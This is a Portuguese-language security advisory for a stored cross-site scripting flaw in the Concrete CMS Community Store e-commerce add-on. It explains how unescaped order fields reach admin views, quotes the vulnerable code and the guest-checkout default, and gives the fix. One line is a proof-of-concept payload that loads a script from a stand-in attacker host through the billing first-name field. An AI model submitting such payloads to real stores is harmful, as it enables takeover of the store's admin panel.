XSS armazenado no Concrete CMS Community Store leva à tomada de controle do painel de administração
| CVE | CVE-2026-93659 |
| Componente | concretecms-community-store/community_store |
| Tipo | Cross-Site Scripting Armazenado (CWE-79) |
| Severidade | CVSS v4.0 9.3 Crítico / v3.1 8.7 Alto |
| Afetado | Todas as versões anteriores à 2.7.8 |
| Corrigido em | 2.7.8 |
| Crédito | Prince Edem Fiagbedzi (descobridor) |
O Community Store, um complemento de e-commerce de código aberto para o Concrete CMS, armazenava campos de pedido fornecidos pelo cliente sem sanitizá-los e os renderizava sem escape de HTML em quatro visualizações voltadas ao administrador. Qualquer visitante não autenticado poderia fazer um pedido com um payload de script em um campo como o primeiro nome de cobrança, e o payload seria executado dentro da sessão autenticada do painel de um gerente de loja na próxima vez que ele abrisse aquele pedido, o suficiente para criar uma conta de administrador maliciosa ou exfiltrar dados de sessão.
Todo pedido carrega campos fornecidos pelo cliente: primeiro nome, sobrenome, e-mail e telefone de cobrança/entrega. Esses campos são armazenados como estão e renderizados de volta em quatro lugares que um gerente de loja costuma consultar:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Crucialmente, fazer um pedido não exige conta. A configuração de checkout como convidado do Community Store tem como padrão always, definida dessa forma pelo próprio instalador do pacote em toda instalação nova, não algo que o operador da loja precise habilitar. Portanto, este não é um bug que exige uma loja mal configurada; é explorável contra uma instalação padrão, pronta de fábrica, sem exigir credenciais.
Atualize o Community Store para 2.7.8 ou posterior. A correção adiciona escape de saída adequado em todos os quatro locais de renderização afetados. Não há solução alternativa por configuração além da atualização, já que o comportamento vulnerável é o próprio escape, não um toggle.
Nenhum dos quatro locais de renderização escapava os campos controlados pelo cliente. Uma linha representativa da visualização de pedido no admin:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Nenhuma chamada a h(), o helper padrão de escape de saída do Concrete, em lugar algum próximo, embora o mesmo arquivo usasse h() corretamente algumas linhas adiante para outros valores. A validação de entrada não era melhor: a única verificação aplicada a esses campos era um limite de comprimento (1-255 caracteres), nada que removesse ou rejeitasse HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Um payload <script> com menos de 255 caracteres no campo de primeiro nome de cobrança passa pela validação intacto, é armazenado e depois é renderizado sem escape onde quer que um admin veja o pedido.
O padrão de checkout como convidado é definido diretamente no instalador:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
O controlador de checkout só força um login quando essa configuração é off (ou option sem uma flag de convidado), e com o padrão instalado, esse ramo nunca é acionado.
Testado contra o Community Store v2.7.7 no Concrete CMS 9.5.2 (laboratório Docker auto-hospedado, PHP 8.3). Payload enviado como um checkout comum de convidado, sem autenticação de qualquer tipo:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
adicionando escape com h() em todos os quatro locais de renderização afetados